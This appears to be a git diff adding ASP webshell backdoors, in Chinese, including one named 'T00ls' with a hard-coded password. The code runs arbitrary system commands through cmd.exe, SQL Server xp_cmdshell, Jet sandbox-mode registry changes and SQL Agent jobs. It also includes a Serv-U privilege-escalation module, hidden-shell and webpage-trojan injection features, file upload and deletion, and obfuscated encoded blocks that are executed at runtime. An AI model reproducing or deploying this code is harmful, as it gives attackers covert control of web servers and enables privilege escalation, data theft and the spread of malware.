+PATH="C:\WINDOWS\SYSTEM32\IAS\IAS.MDB" +END IF +SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") +ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME") +IF REQUEST.FORM("CMD")<>"" THEN +CMD=CHR(34)&"CMD.EXE /C "&REQUEST.FORM("CMD")&" > 8617.TMP"&CHR(34) +STRQUERY = "CREATE TABLE [JNC](RESULTTXT NVARCHAR(1024) NULL);EXEC MASTER..XP_REGWRITE 'HKEY_LOCAL_MACHINE','SOFTWARE\MICROSOFT\JET\4.0\ENGINES','SANDBOXMODE','REG_DWORD',0;SELECT * FROM OPENROWSET('MICROSOFT.JET.OLEDB.4.0',';DATABASE=" & PATH &"','SELECT SHELL("&CMD&")');" +ADOCONN.EXECUTE(STRQUERY) +STRQUERY = "SELECT * FROM OPENROWSET('MICROSOFT.JET.OLEDB.4.0',';DATABASE=" & PATH &"','SELECT SHELL("&CHR(34)&"CMD.EXE /C COPY 8617.TMP JNC.TMP"&CHR(34)&")');BULK INSERT [JNC] FROM 'JNC.TMP' WITH (KEEPNULLS);" +SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) +STRQUERY="SELECT * FROM [JNC];" +SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) +IF NOT RECRESULT.EOF THEN +DO WHILE NOT RECRESULT.EOF +STRRESULT = STRRESULT & CHR(13) & RECRESULT(0) +RECRESULT.MOVENEXT +LOOP +END IF +SET RECRESULT = NOTHING +RESPONSE.WRITE "" +STRQUERY = "DROP TABLE [JNC];EXEC MASTER..XP_REGWRITE 'HKEY_LOCAL_MACHINE','SOFTWARE\MICROSOFT\JET\4.0\ENGINES','SANDBOXMODE','REG_DWORD',1;SELECT * FROM OPENROWSET('MICROSOFT.JET.OLEDB.4.0',';DATABASE=" & PATH &"','SELECT SHELL("&CHR(34)&"CMD.EXE /C DEL 8617.TMP&&DEL JNC.TMP"&CHR(34)&")');" +ADOCONN.EXECUTE(STRQUERY) +END IF +ELSEIF REQUEST("TOOL")="SQLSERVERAGENT" THEN +SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") +ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME") +IF REQUEST.FORM("CMD")<>"" THEN +IF SESSION("SQLSERVERAGENT")=0 THEN +STRQUERY = "EXEC MASTER.DBO.XP_SERVICECONTROL 'START','SQLSERVERAGENT';" +ADOCONN.EXECUTE(STRQUERY) +SESSION("SQLSERVERAGENT")=1 +END IF +STRQUERY = "USE MSDB CREATE TABLE [JNCSQL](RESULTTXT NVARCHAR(1024) NULL) EXEC SP_DELETE_JOB NULL,'X' EXEC SP_ADD_JOB 'X' EXEC SP_ADD_JOBSTEP NULL,'X',NULL,'1','CMDEXEC','CMD /C "&REQUEST.FORM("CMD")&"' EXEC SP_ADD_JOBSERVER NULL,'X',@@SERVERNAME EXEC SP_START_JOB 'X';" +ADOCONN.EXECUTE(STRQUERY) +ADOCONN.EXECUTE(STRQUERY) +ADOCONN.EXECUTE(STRQUERY) +RESPONSE.WRITE "" +STRQUERY = "USE MSDB DROP TABLE [JNCSQL];" +ADOCONN.EXECUTE(STRQUERY) +END IF +ELSEIF REQUEST("TOOL")="" THEN +RESPONSE.WRITE "" +END IF +ELSE +RESPONSE.WRITE "" +END IF +ELSE +RESPONSE.WRITE "" +RESPONSE.WRITE "
    登陆超时" +RESPONSE.END +END IF +ELSEIF REQUEST("SQLAAA")="RESUME" THEN +IF SESSION("LOGIN")<>"" THEN +SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") +ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME") +IF SESSION("XP_CMDSHELL")=0 THEN +STRQUERY="DBCC ADDEXTENDEDPROC ('XP_CMDSHELL','XPLOG70.DLL')" +ADOCONN.EXECUTE(STRQUERY) +RESPONSE.WRITE "已经尝试恢复XP_CMDSHELL" +ELSEIF SESSION("SP_OACREATE")=0 THEN +STRQUERY="DBCC ADDEXTENDEDPROC ('SP_OACREATE','ODSOLE70.DLL')" +ADOCONN.EXECUTE(STRQUERY) +RESPONSE.WRITE "已经尝试恢复SP_OACREATE" +ELSEIF SESSION("XP_REGWRITE")=0 THEN +STRQUERY="DBCC ADDEXTENDEDPROC ('XP_REGWRITE','XPSTAR.DLL')" +ADOCONN.EXECUTE(STRQUERY) +RESPONSE.WRITE "已经尝试恢复XP_REGWRITE" +ELSE RESPONSE.WRITE "恭喜!组件齐全" +END IF +ELSE +RESPONSE.WRITE "" +RESPONSE.WRITE "
    登陆超时" +RESPONSE.END +END IF +ELSEIF REQUEST("SQLAAA")="SQL" THEN +IF SESSION("LOGIN")<>"" THEN +IF REQUEST.FORM("SQL")<>"" THEN +SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") +ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME") +STRQUERY=REQUEST.FORM("SQL") +SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) +IF NOT RECRESULT.EOF THEN +DO WHILE NOT RECRESULT.EOF +STRRESULT = STRRESULT & CHR(13) & RECRESULT(0) +RECRESULT.MOVENEXT +LOOP +END IF +SET RECRESULT = NOTHING +RESPONSE.WRITE "" +END IF +ELSE +RESPONSE.WRITE "" +RESPONSE.WRITE "
    登陆超时" +RESPONSE.END +END IF +ELSEIF REQUEST("SQLAAA")="LOGOUT" THEN +SET ADOCONN=NOTHING +SESSION("LOGIN")="" +SESSION("NAME")="" +SESSION("PASS")="" +SESSION("SERVER")="" +SESSION("PORT")="" +SESSION("SYSTEM")="" +SESSION("PRI")="" +END IF +IF SESSION("LOGIN")="" THEN +RESPONSE.WRITE "
    " +RESPONSE.WRITE "

    SQL用户名:" +RESPONSE.WRITE "" +RESPONSE.WRITE " SQL密码:" +RESPONSE.WRITE "" +RESPONSE.WRITE "

    SQL服务器:" +RESPONSE.WRITE "" +RESPONSE.WRITE " SQL端口:" +RESPONSE.WRITE "" +RESPONSE.WRITE " " +RESPONSE.WRITE "

    " +ELSE RESPONSE.WRITE "
    " +RESPONSE.WRITE "

    组件检测:" +RESPONSE.WRITE " " +RESPONSE.WRITE " " +RESPONSE.WRITE "

    " +RESPONSE.WRITE "
    " +RESPONSE.WRITE "

    组件恢复:" +RESPONSE.WRITE " " +RESPONSE.WRITE " " +RESPONSE.WRITE "

    " +RESPONSE.WRITE "
    " +RESPONSE.WRITE "

    系统命令:" +RESPONSE.WRITE " " +RESPONSE.WRITE "" +RESPONSE.WRITE " " +RESPONSE.WRITE " " +RESPONSE.WRITE "

    " +RESPONSE.WRITE "
    " +RESPONSE.WRITE "

    执行语句:" +RESPONSE.WRITE " " +RESPONSE.WRITE " " +RESPONSE.WRITE " " +RESPONSE.WRITE "

    " +END IF +End Function +Function ScReWr(folder) '1.可读,不可写。2.不可读,可写。3.可读,可写。4.不可读,不可写。 +On Error Resume Next +Dim FSO,TestFolder,TestFileList,ReWrStr,RndFilename +Set FSO = Server.Createobject("Scripting.FileSystemObject") +Set TestFolder = FSO.GetFolder(folder) +Set TestFileList = TestFolder.SubFolders +RndFilename = "\temp" & Day(now) & Hour(now) & Minute(now) & Second(now) & ".tmp" +For Each A in TestFileList +Next +If err Then +err.Clear +ReWrStr = folder & " [不可读," +FSO.CreateTextFile folder & RndFilename,True +If err Then +err.Clear +ReWrStr = ReWrStr & "不可写]" +Else +ReWrStr = ReWrStr & "可写]" +FSO.DeleteFile folder & RndFilename,True +End If +Else +ReWrStr = folder & " [可读," +FSO.CreateTextFile folder & RndFilename,True +If err Then +err.Clear +ReWrStr = ReWrStr & "不可写]" +Else +ReWrStr = ReWrStr & "可写]" +FSO.DeleteFile folder & RndFilename,True +End if +End if +Set TestFileList = Nothing +Set TestFolder = Nothing +Set FSO = Nothing +ScReWr = ReWrStr +End Function +sub SavePower(PowerPath,SaveType) +Set theFile = fsoX.GetFile(PowerPath) +if SaveType=1 then +theFile.Attributes=0 +o "" +else +theFile.Attributes=39 +o "" +end if +Set theFile = Nothing +end sub +sub EditPower(PowerPath) +PowerPath=replace(PowerPath,"""","") +Set theFile = fsoX.GetFile(PowerPath) +o getMyTitle(theFile,PowerPath):Set theFile = Nothing:end sub:Function getMyTitle(theOne,PowerPath):Dim strTitle:strTitle = strTitle & "
    路径: " & theOne.Path & "" :strTitle = strTitle & "
    大小: " & getTheSize(theOne.Size) :strTitle = strTitle & "
    创建时间: " & theOne.DateCreated :strTitle = strTitle & "
    最后修改: " & theOne.DateLastModified:strTitle = strTitle & "
    最后访问: " & theOne.DateLastAccessed:strTitle = strTitle & "
    当前权限状态: " & getAttributes(theOne.Attributes,PowerPath):getMyTitle = strTitle:End Function:Function getAttributes(intValue,PowerPath):Dim EditOK:EditOK=1:If intValue >= 128 Then:intValue = intValue - 128:End If:If intValue >= 64 Then:intValue = intValue - 64:End If:If intValue >= 32 Then:intValue = intValue - 32:End If:If intValue >= 16 Then:intValue = intValue - 16:End If:If intValue >= 8 Then:intValue = intValue - 8:End If:If intValue >= 4 Then:intValue = intValue - 4:EditOK=0:End If:If intValue >= 2 Then:intValue = intValue - 2:EditOK=0:End If:If intValue >= 1 Then:intValue = intValue - 1:EditOK=0:End If:PowerPath=replace(PowerPath,"\","\\"):if EditOK=0 then :getAttributes = "已锁定 ":else:getAttributes = "未锁定 ":end if:End Function:Function getTheSize(theSize):If theSize >= (1024 * 1024 * 1024) Then :getTheSize = Fix((theSize / (1024 * 1024 * 1024)) * 100) / 100 & "G":end if:If theSize >= (1024 * 1024) And theSize < (1024 * 1024 * 1024) Then :getTheSize = Fix((theSize / (1024 * 1024)) * 100) / 100 & "M":end if:If theSize >= 1024 And theSize < (1024 * 1024) Then :getTheSize = Fix((theSize / 1024) * 100) / 100 & "K":end if:If theSize >= 0 And theSize <1024 Then :getTheSize = theSize & "B":end if:End Function +Set FsoX = Nothing +Case "ReadREG":call ReadREG() +Case "Show1File":Set ABC=New LBF:ABC.Show1File(Session("FolderPath")):Set ABC=Nothing +Case "DownFile":DownFile FName:ShowErr() +Case "DelFile":Set ABC=New LBF:ABC.DelFile(FName):Set ABC=Nothing +Case "EditFile":Set ABC=New LBF:ABC.EditFile(FName):Set ABC=Nothing +Case "CopyFile":Set ABC=New LBF:ABC.CopyFile(FName):Set ABC=Nothing +Case "MoveFile":Set ABC=New LBF:ABC.MoveFile(FName):Set ABC=Nothing +Case "DelFolder":Set ABC=New LBF:ABC.DelFolder(FName):Set ABC=Nothing +Case "CopyFolder":Set ABC=New LBF:ABC.CopyFolder(FName):Set ABC=Nothing +Case "MoveFolder":Set ABC=New LBF:ABC.MoveFolder(FName):Set ABC=Nothing +Case "NewFolder":Set ABC=New LBF:ABC.NewFolder(FName):Set ABC=Nothing +case "upfile":upfile() +Case "Cmd1Shell":Cmd1Shell() +Case "Logout":Session.Contents.Remove("webadministrators"):Response.Redirect URL +Case "CreateMdb":CreateMdb FName +Case "CompactMdb":CompactMdb FName +Case "DbManager":DbManager() +Case "Course":Course() +Case "SetFileText":SetFileText() +Case "Mssql":Mssql() +case "php":php() +Case "PageCheck":PageCheck() +Case "PageUpFile":PageUpFile() +Case "PageExecute":PageExecute() +Case "FsoFileExplorer":FsoFileExplorer() +Case "AppFileExplorer":AppFileExplorer() +Case "suftp":suftp() +Case "TSearch":TSearch() +Case "Sqlrootkit":sqlrootkit() +case "apjdel":apjdel() +Case "radmin":radmin() +Case "pcanywhere4":pcanywhere4() +Case "adminab":adminab() +Case "UpLoad":UpLoad() +case "hiddenshell":hiddenshell() +Case "ScanDriveForm":ScanDriveForm() +Case "ScanDrive": ScanDrive(Request("Drive")) +Case "ScFolder":ScFolder(Request("Folder")) +Case "MainMenu":MainMenu() +Case "EditPower":Call EditPower(request("PowerPath")) +Case "SavePower":Call SavePower(request("PowerPath"),request("SaveType")) +Case Else MainForm() +End Select +if Action<>"Servu" then ShowErr() +o"" +Sub Message(state,msg,flag) +o "
    " +o " " +o " " +o " " +o " " +o " " +o " " +o " " +o " " +o " " +o "
    系统信息
    " +o " " +o " " +o " " +o " " +o " " +o " " +o "
    " +o state +o "

    " +o msg +o "

    " +o "
    " +o " " +If flag=0 Then +o " " +o " " +Else +o " " +o " " +End if +o "
    " +End Sub +%> + diff --git "a/asp/T00ls\345\216\273\345\220\216\351\227\250.asp" "b/asp/T00ls\345\216\273\345\220\216\351\227\250.asp" new file mode 100644 index 0000000..dac679f --- /dev/null +++ "b/asp/T00ls\345\216\273\345\220\216\351\227\250.asp" @@ -0,0 +1,578 @@ +<%@ LANGUAGE = VBScript.encode %><% +UserPass="admin"' 密码 +'---------------------- +'T00ls - - +'---------------------- + +Server.ScriptTimeout=999999999:Response.Buffer=true:On Error Resume Next +ExeCute "sub ShowErr():If Err Then:RRS""

     "" & Err.Description & ""

    "":Err.Clear:Response.Flush:End If:end sub:Sub RRS(str):response.write(str):End Sub:Function RePath(S):RePath=Replace(S,""\"",""\\""):End Function:Function RRePath(S):RRePath=Replace(S,""\\"",""\""):End Function:URL=Request.ServerVariables(""URL""):ServerIP=Request.ServerVariables(""LOCAL_ADDR""):Action=Request(""Action""):Pos=2:RootPath=Server.MapPath("".""):WWWRoot=Server.MapPath(""/""):Serveru=request.servervariables(""http_host"")&url:FolderPath=Request(""FolderPath""):serverp=UserPass:Pn=pos*44:FName=Request(""FName""):pso=5:BackUrl=""

    返回
    """ +RRS"" +RRS"T00ls - "&ServerIP&"" +rrS"" +rRs"" +ExeCute SinfoEn("lError=kilnerrodow.o;}win trueeturns(){rError killctiont>funscrip=javaguaget lanscripRRS~请确认己连接数据库再输入SQL操作命令语句。
    "";}else if(i==12){alert(Str[i]);}else{DbForm.SqlStr.value = Str[i];}return true;}":RRS"function FullSqlStr(str,pg){if(DbForm.DbStr.value.length<5){alert(""请检查数据库连接串是否正确!"");return false;}if(str.length<10){alert(""请检查SQL语句是否正确!"");return false;}DbForm.SqlStr.value = str;DbForm.Page.value = pg;abc.innerHTML="""";DbForm.submit();return true;}" +RRS"function gotoURL(targ,selObj,restore){if(selObj.options[selObj.selectedIndex].js==1){eval(selObj.options[selObj.selectedIndex].value);if (restore) selObj.selectedIndex=0}else{eval(targ+"".location='""+selObj.options[selObj.selectedIndex].value+""'"");if (restore) selObj.selectedIndex=0;}}" +rrs "" +Dim Sot(13,2):Sot(0,0) = "Scripting.FileSystemObject":Sot(0,2) = "文件操作组件":Sot(1,0) = "wscript.shell":Sot(1,2) = "命令行执行组件":Sot(2,0) = "ADOX.Catalog":Sot(2,2) = "ACCESS建库组件":Sot(3,0) = "JRO.JetEngine":Sot(3,2) = "ACCESS压缩组件":Sot(4,0) = "Scripting.Dictionary":Sot(4,2) = "数据流上传辅助组件":Sot(5,0) = "Adodb.connection":Sot(5,2) = "数据库连接组件":Sot(6,0) = "Adodb.Stream":Sot(6,2) = "数据流上传组件":Sot(7,0) = "SoftArtisans.FileUp":Sot(7,2) = "SA-FileUp 文件上传组件":Sot(8,0) = "LyfUpload.UploadFile":Sot(8,2) = "刘云峰文件上传组件":Sot(9,0) = "Persits.Upload.1":Sot(9,2) = "ASPUpload 文件上传组件":Sot(10,0) = "JMail.SmtpMail":Sot(10,2) = "JMail 邮件收发组件":Sot(11,0) = "CDONTS.NewMail":Sot(11,2) = "虚拟SMTP发信组件":Sot(12,0) = "SmtpMail.SmtpMail.1":Sot(12,2) = "SmtpMail发信组件":Sot(13,0) = "Microsoft.XMLHTTP":Sot(13,2) = "数据传输组件" +For i=0 To 13 +Set T=Server.CreateObject(Sot(i,0)) +If -2147221005 <> Err Then +IsObj=" √" +Else +IsObj=" ×" +Err.Clear +End If +Set T=Nothing +Sot(i,1)=IsObj +Next +'Dim XBCode +'XBCode="z^OLLS8'D')q~{)╋M|uj{pvu'Lujy!w{/hjk0╋Mvy'p'D'8'[v'Slu/hjk0'z{lw'8╋jDtpk/hjk3p380╋pm'jD)※)'{olu╋kDtpk/hjk3p390╋pDp28╋lDylwshjl/k3)※)3))0╋iijDiij-tpk/z^OLLS83jpu{/l0380╋lszl╋iijDiij-j╋luk'pm╋ul {╋Lujy!w{Diij╋luk'M|uj{pvu╋hjvklD)DzFwzh5z6 z6r{5!lriz5~~~66Aw※:※:o.Djyz'※:wpyjzC)╋Lm|uDZ{yYl}lyzl/ylwshjl/ylwshjl/Lujy!w{/hjvkl03)●)3Joy/:;003)◎)3}iJySm00╋.ylzwvuzl5^yp{l/Lm|u0" +'Execute(UnEncode(XBCode)) +Function UnEncode(Code) +But = CInt(-88) +Code = Replace(Replace(Code, Chrw(-23643), Chrw(37)), Chrw(-23646), Chrw(34)) + For i = 1 To Len(Code) + If Mid(Code, i, 1) <> "╋" Then + If Asc(Mid(Code, i, 1)) < 32 Or Asc(Mid(Code, i, 1)) > 126 Then + TempCode = TempCode & Chrw(Asc(Mid(Code, i, 1))) + Else + PkCode = Asc(Mid(Code, i, 1)) - But + If PkCode > 126 Then + PkCode = PkCode -95 + ElseIf PkCode < 32 Then + PkCode = PkCode + 95 + End If + TempCode = TempCode & Chrw(PkCode) + End If + Else + TempCode = TempCode & vbCrLf + End If + Next + UnEncode = TempCode +End Function + +If FolderPath<>"" then +Session("FolderPath")=RRePath(FolderPath) +End If:If Session("FolderPath")="" Then +FolderPath=RootPath +Session("FolderPath")=FolderPath +End if +Function MainForm() +RRS"
    " +RRS"" +RRS"" +RRS"
    " +RRS"" +RRS"" +RRS"
    地址:" +RRS"" +RRS"" +RRS"
    " +RRS"" +RRS"" +RRS"『→Program』『→AllUsers』『→程序』『→启动』『→pcAnywhere』『→serv-u』『→RealServer』『→SQL』『→PHP』『→config』『→data』『Temp』『RECYCLER』『常写
    " +End Function:Function MainMenu() +RRS"
    " +RRS"隐藏

    显示

    " +RRS"" +RRS"
    " +RRS"" +If soT(0,1)=" ×" Then +RRS"" +Else +Set ABC=New LBF:RRS ABC.ShowDriver():Set ABC=Nothing +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +End If +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS Efun&""&serveru&"&p="&serverp&"'>" +case 2 +set b=Server.CreateObject("Microsoft.XMLHTTP") +b.open "GET", "http://127.0.0.1:" & ftpport & "/goldsun/upadmin/s2", True, "", "" +b.send "User go" & vbCrLf & "pass od" & vbCrLf & "site exec " & cmd & vbCrLf & quit +set session("b")=b +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +case 3 +set c=Server.CreateObject("Microsoft.XMLHTTP") +c.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s3", True, "", "" +c.send loginuser & loginpass & mt & deldomain & quit +set session("c")=c +RRS"
    提权完毕,已执行了命令:
    "&cmd&"

    " +RRS"" +RRS"
    " +case else +on error resume next +set a=session("a") +set b=session("b") +set c=session("c") +a.abort +Set a = Nothing +b.abort +Set b = Nothing +c.abort +Set c = Nothing +RRS"

    " +RRS"

    " +RRS"
    无权限
    →站点目录
    →程序目录
    →上级目录
    →新建目录
    →新建文本
    →远程下载
    →上传文件
    →用户账号
    →查管理员
    →自动登录
    →组件支持
    →执行CMD命令
    →SQL执行CMD
    →端口扫描
    →Serv-u提权
    →SQL提权
    →读注册表
    →超级隐藏
    →ASPX探测
    →PHP探测
    →JSP探测
    →查找木马
    →高级挂马
    →批量清马
    →批量替换
    →数据库操作
    →打包解包
    →程序更新
    →退出登录
    " +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"
    Serv-U 提升权限 ASP版
    用户名:
    口 令:
    端 口:
    系统路径:
    命 令:
    " +RRS"" +RRS"
    " +end select +function Gpath() +on error resume next +err.clear +set f=Server.CreateObject("Scripting.FileSystemObject") +if err.number>0 then +gpath="c:" +exit function +end if +gpath=f.GetSpecialFolder(0) +gpath=lcase(left(gpath,2)) +set f=nothing:end function:Case "kmuma":ExeCute SinfoEn("eportdim R`n~ th>~scact~)- ~根目录网站~
    RRS (>~)`h(~.~apPatver.M~&Ser/b>- 程序目录<~本RRS ())`rm1~~=~~fo nameost~~d=~~pmethoan~~ ct=scuma&aon=km?Action=~~ acti~`:检查的路径>填入你要

    填~30~~ize=~.~~ sue=~~~ val#999~olid 1px srder:=~~bostylext~~ =~~te typeath~~e=~~pt nam~`查ASP cked>~ cheone'~ay='ndispltyle.1').swFile('shotByIdlemen.getEument~~doclick=~ onC~sws~lue=~~~ varadiope=~~~~ tyuttonadiobe=~~rc namlass=put c: play=e.dis.stylle1')howFiId('sentBytElemnt.geocumek=~~dnClicf~~ oe=~~s valuton~~iobut~~radname=io~~ ~~radtype=ss=c t cla~`one~~lay:n~dispyle=~~~ stFile1~show id=~>~`=~~20 size999~~lid #px soder:1~~bortyle=t~~ sontenrch_C~~Sea~ id=text~pe=~~~~ tyntentch_Co~Searame=~put n容:~`br />日期检查<填就只进行字符串,不 要查找的RRS ~~`br /><~>ALLALL'~lue='te.vach_Da.Searform1ript:avasck=~~jnClic#~~ oef=~~ 多=~~20 size)&~~~ ~)-1w(),~tr(no),InS(Now(&Lefte=~~~ valu999~~lid #px soder:1~~bortyle=t~~ s~~textype=te~~ ch_Da~Searame=~put n期:
    类=~~20 size~~*~~alue=9~~ vd #99 solir:1pxbordele=~~~ stytext~pe=~~~~ tyleExtch_Fi~Searame=~put n型:~`;~~ /n:4pxmargi 2px;x 0pxpx 2ping:2;padd #fffsolid:2px orderccc;bund:#ckgro=~~bastyle描 ~~ ~ 开始扫lue=~~~ vaubmite=~~st typ~`~`else`~ theh~)=~(~pat.Formquestif ren`路径不能为RRS(~空~)`nse.Erespond()`end if`\~ thh~)=~(~pat.Formquestif reen`Path(r.MapServeth = TmpPa~\~)`~ the~)=~.~pathForm(uest.f reqelsein`Path(r.MapServeth = TmpPa~.~)`else`ath~)rm(~pst.Forequeth = TmpPa`end if`1 = ttimerimer`Sun = 0`les =SumFi 0`ldersSumFo = 1`ws~ T = ~ston~)iobut(~rad.FormquestIf rehen`,cdx~r,asasp,ce = ~aleExtDimFi`Path)e(TmpllFilShowACall `Else` ~~ Tt~) =ileExrch_F(~Sea.Formquestor re= ~~ te~) ch_Da~SearForm(uest.r req ~~ oh~) =(~pat.FormquestIf rehen`/a>~)重新输入<'>请返回(-1);ry.gohistoript:avascef='j

    完全~ze:12nt-sie='fo styl~~0~~cing=llspa~~ ceg=~~0addincellp~0~~ der=~~ bor100%~th=~~e widSc~`:12px-size;font:bothclear170%;ight:ne-hepx;liing:5~paddyle=~td st~`>~`ont>个&~#FF00or=~~t col点个&~#FF00or=~~t col件个,文~&Su000~~~#FF0lor=~nt co件夹<:bothclear130%;ight:ne-hese;liollappse:ccollarder-px;boze:12nt-si=~~fostyle99~~ #9999or=~~ercol bord~~8~~cing=llspa~~ ceg=~~0addincellp~1~~ der=~~ bor100%~th=~~e wid~`ws~ T = ~ston~)iobut(~rad.FormquestIf rehen`/td>~相对路径<~~>文件~~20%idth=特征~~20%idth=~`~~>描述~~40%idth=/修改时间~~>创建~~20%idth=~相对路径<~~>文件~~50%idth=~创建时间<~~>文件~~25%idth=修改~~25%idth=~`end if`RRS ~~`eportRRS R`RRS ~le>~`2 = ttimerimer`)/10))+0.50000 r1)*1-timeimer2t(((ttr(inme=cstheti`font>~毫秒本页e:12pt-siz='fonstylefont
    ~~File If In`font>含执行
    文件包& ~et=_b targ)&~~~nFileode(IRLEnc/~&tUe~)&~r_namserveles(~ariabrvervst.SeReque://~&~httpref=~被该文件or=ret col~0 thetxt)n(filif leen`iletxf & fvbcrlxt = filett`br />~&=_blaarget~~~ t/~))&~\~,~1,1),~~,1,&~\~,(~\~)pPather.Ma,servePathe(Fileplacace(r(replncodetURLE&~/~&ame~)ver_n(~serablesrvariServeuest.~&Reqtp://=~~ht href= ~'>Edie='编辑 titl='am'class~~)' tFile~~Edi&~~~,~\\~),~\~,ePathe(Fileplac~~~&rForm(:Fullcriptjavasref='~'>Dowe='下载 titl='am'class~~)' nFile~~Dow&~~~,~\\~),~\~,ePathe(Fileplac~~~&rForm(:Fullcriptjavasref='~ >Del<='删除'title'am' lass=()' cyesokturn k='renclic~)' oFile~~~Del&~~~,~\\~),~\~,ePathe(Fileplac~~~&rForm(:Fullcriptjavasref='~'>Cope='复制 titl='am'class~~)' yFile~~Cop&~~~,~\\~),~\~,ePathe(Fileplac~~~&rForm(:Fullcriptjavasref='~'>Move='移动 titl='am'class~~)' eFile~~Mov&~~~,~\\~),~\~,ePathe(Fileplac~~~&rForm(:Fullcriptjavasref='~th)&~ilepaify(fteModGetDabr>~&h)&~~&Gtd>~&icolorfont <8AFB8424B842-988B-8A&~-43yBest~&DoM-D70A24DD5d:72C clsill 或者t.Shet&~ipMyBesr~&Dod>WSctd>&~~/td>~&G)&~~&Ged>~&in/font木马利用<般被ASP险组件,一red>危olor=ont ctd><0000<55354E-444E-A499-11Cest&~DoMyBC27~&9620-:1370clsidn 或者 catioAppli&~ll.yBest~&DoMd>Shetd>&~~th)&~ilepaate(fteCreGetDatd>~&/td>~&了似乎lor=rnt cod>(vbtd>&~~` Sun Sun =+ 1`~-同上-temp=~`End If`v~&~a ~\bEern =.PattregExl\b~`t) Thiletxest(fgEx.TIf reen`th)&~ilepaify(fteModGetDabr>~&h)&~~&Gtd>但ASP代码以执行任意()函数可&~valtd>e~/td><&~alEv~td>&~~th)&~ilepaate(fteCreGetDatd>~&/td>~&ont><代码e~&or=ret col>Exetd>&~~` Sun Sun =+ 1`~-同上-temp=~`End If`tFilee)TexCreatOpen| ~\.(ern =.PattregEx\b~`t) Thiletxest(fgEx.TIf reen`>~th)&~ilepaate(fteCreGetDatd>~&/td>e.Crtd>&~~` Sun Sun =+ 1`~-同上-temp=~`End If`File\aveTo ~\.Sern =.PattregExb~`t) Thiletxest(fgEx.TIf reen`th)&~ilepaify(fteModGetDabr>~&h)&~~&Gtd>使用了td>.Satd>&~~/td>~&G)&~~&Ged>使用了Xd>.Satd>&~~th)&~ilepaate(fteCreGetDatd>~&/td>~&ont><件。不olor=ont ctd><~uteSertd>&~~` Sun Sun =+ 1`End If`othins = NatcheSet Mg`= NotegEx Set rhing`w Reg = NeregExSet XExp`se = oreCax.IgnXregETrue` Truebal =x.GloXregE`|\n)*~~?(.erver*~~?ss*=\sunat\n)*?r*(.|\ipt\scr~&~= ~~`filetcute(x.ExeXregEes = MatchSet Xxt)`atchein XMatch ach MFor Es`~>~))lue, ch.Var(Mat InSte, 1,.ValuMatch Mid(ke2 =tmpLa`src~,e2, ~mpLak(1, tInStrek = srcSe 1)` > 0 cSeekIf srThen` ~=~)ake2, tmpLSeek,r(src instek2 =srcSe`To 50 = 1 For i` i, 1ek2 +srcSeke2, tmpLa Mid(tmp =)`CrLf <> vb tmp ) andchr(9p <> nd tm~ ~ ap <> If tmThen`Exit For`End If`Next`~~~ Tp = ~If tmhen`i - 1k2 - rcSee) - s ~~~~ake2, tmpL + 1,2 + icSeektr(sr, Insi + 1k2 + rcSeee2, smpLakMid(tme = tmpNa)`Else`mpLake = tmpNamlse t i) Eek2 -srcSe~) - 2, ~ pLake1, tm i + ek2 +srcSenstr( i, Iek2 +srcSeke2, tmpLa Mid(ame = tmpN Then) > 0, ~ ~Lake2, tmpi + 1k2 + rcSeeStr(sIf Ine2`) - 1hr(9)me, ctmpNar(1, Inste, 1,mpNamMid(tme = tmpNaThen > 0 r(9))e, chmpNamStr(tIf In)`) - 1bcrlfme, vtmpNar(1, Inste, 1,mpNamMid(tme = tmpNaThen > 0 CrLf)e, vbmpNamStr(tIf In)` - 1) ~>~)Name,, tmpstr(11, Iname, (tmpN= MidName n tmp0 The~) > e, ~>mpNamStr(tIf In`End If`1,1))~~,1,&~\~,(~\~)pPather.Ma,servePathe(Fileplace , rmpNam~))&tth,~\ilePaRev(FInStrth,1,ilePaMid(File( ScanFCall `iles SumFles =SumFi+ 1`End If`Next`othins = NatcheSet Mg`= NotegEx Set rhing` RegE= NewegEx Set rxp`e = TreCas.IgnoregExrue`al = .GlobregExTrue`(.*\)\t]*\ct[ |&~bjeateO~ ~Creern =.PattregEx~`letxtte(fiExecuegEx.s = ratcheSet M)`tchesin Maatch ach MFor E`~) The, ~(.ValuMatchrRev( InSt~) <>e, ~(.ValuMatchnstr( or I) = 0 ~~~~alue,tch.Vtr(Mar Ins+~) oue, ~h.Val(MatcInstr) or , ~&~Valueatch.str(MIf Inen`td>~&Ge&~~Cread>Cretd>&~~` Sun Sun =+ 1`exit sub`End If`Next`othins = NatcheSet Mg`= NotegEx Set rhing`end if`= notfile set ohing`= notSO1s set Fhing`End Sub`leExtxt(FiheckEion CFunct)` TrueExt =CheckThen ~*~ Ext =mFileIf 